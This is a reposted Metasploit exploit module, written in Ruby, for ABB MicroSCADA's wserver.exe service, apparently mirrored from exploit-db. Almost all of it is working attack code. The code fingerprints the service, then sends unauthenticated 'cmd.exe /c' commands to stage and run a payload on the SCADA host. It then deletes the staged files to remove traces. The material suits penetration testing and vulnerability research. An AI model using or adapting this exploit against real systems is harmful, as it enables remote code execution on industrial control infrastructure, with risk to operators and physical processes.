ABB MicroSCADA – ‘wserver.exe’ Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2013-12-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/30009/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::CmdStagerVBS
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'ABB MicroSCADA wserver.exe Remote Code Execution',
    'Description'=> %q{
    This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The
    issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe
    component, which allows arbitrary commands. The component is disabled by default, but
    required when a project uses the SCIL function WORKSTATION_CALL.
    
    This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 over
    Windows XP SP3 and Windows 7 SP1.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Brian Gorenc', # Original discovery
    'juan vazquez'# Metasploit module
    ],
    'References' =>
    [
    [ 'OSVDB', '100324'],
    [ 'ZDI', '13-270' ],
    [ 'URL', 'http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf']
    ],
    'Platform' => 'win',
    'Arch' => ARCH_X86,
    'DefaultOptions' =>
    {
    'WfsDelay' => 5
    },
    'Targets'=>
    [
    [ 'ABB MicroSCADA Pro SYS600 9.3', { } ]
    ],
    'DefaultTarget'=> 0,
    'Privileged' => false,
    'DisclosureDate' => 'Apr 05 2013'
    ))
    
    register_options([Opt::RPORT(12221)], self.class)
    end
    
    def check
    
    # Send an EXECUTE packet without command, a valid response
    # should include an error code, which is good enough to
    # fingerprint.
    op = "EXECUTE\x00"
    pkt_length = [4 + op.length].pack("V") # 4 because of the packet length
    pkt = pkt_length
    pkt << op
    
    connect
    sock.put(pkt)
    res = sock.get_once
    disconnect
    
    if res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 0xe10001
    return Exploit::CheckCode::Vulnerable
    end
    
    return Exploit::CheckCode::Safe
    
    end
    
    def exploit
    # More then 750 will trigger overflow...
    # Cleaning is done by the exploit on execute_cmdstager_end
    execute_cmdstager({:linemax => 750, :nodelete => true})
    end
    
    def execute_cmdstager_end(opts)
    @var_tempdir = @stager_instance.instance_variable_get(:@tempdir)
    @var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
    @var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
    @var_decoder = @stager_instance.instance_variable_get(:@var_decoder)
    print_status("Trying to delete #{@var_tempdir}#{@var_encoded}.b64...")
    execute_command("del #{@var_tempdir}#{@var_encoded}.b64", {})
    print_status("Trying to delete #{@var_tempdir}#{@var_decoder}.vbs...")
    execute_command("del #{@var_tempdir}#{@var_decoder}.vbs", {})
    print_status("Trying to delete #{@var_tempdir}#{@var_decoded}.exe...")
    execute_command("del #{@var_tempdir}#{@var_decoded}.exe", {})
    end
    
    def execute_command(cmd, opts)
    op = "EXECUTE\x00"
    command = "cmd.exe /c #{cmd}"
    pkt_length = [4 + op.length + command.length].pack("V") # 4 because of the packet length
    
    pkt = pkt_length
    pkt << op
    pkt << command
    
    connect
    sock.put(pkt)
    res = sock.get_once
    disconnect
    
    unless res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 1
    fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the cmdstager")
    end
    end
    end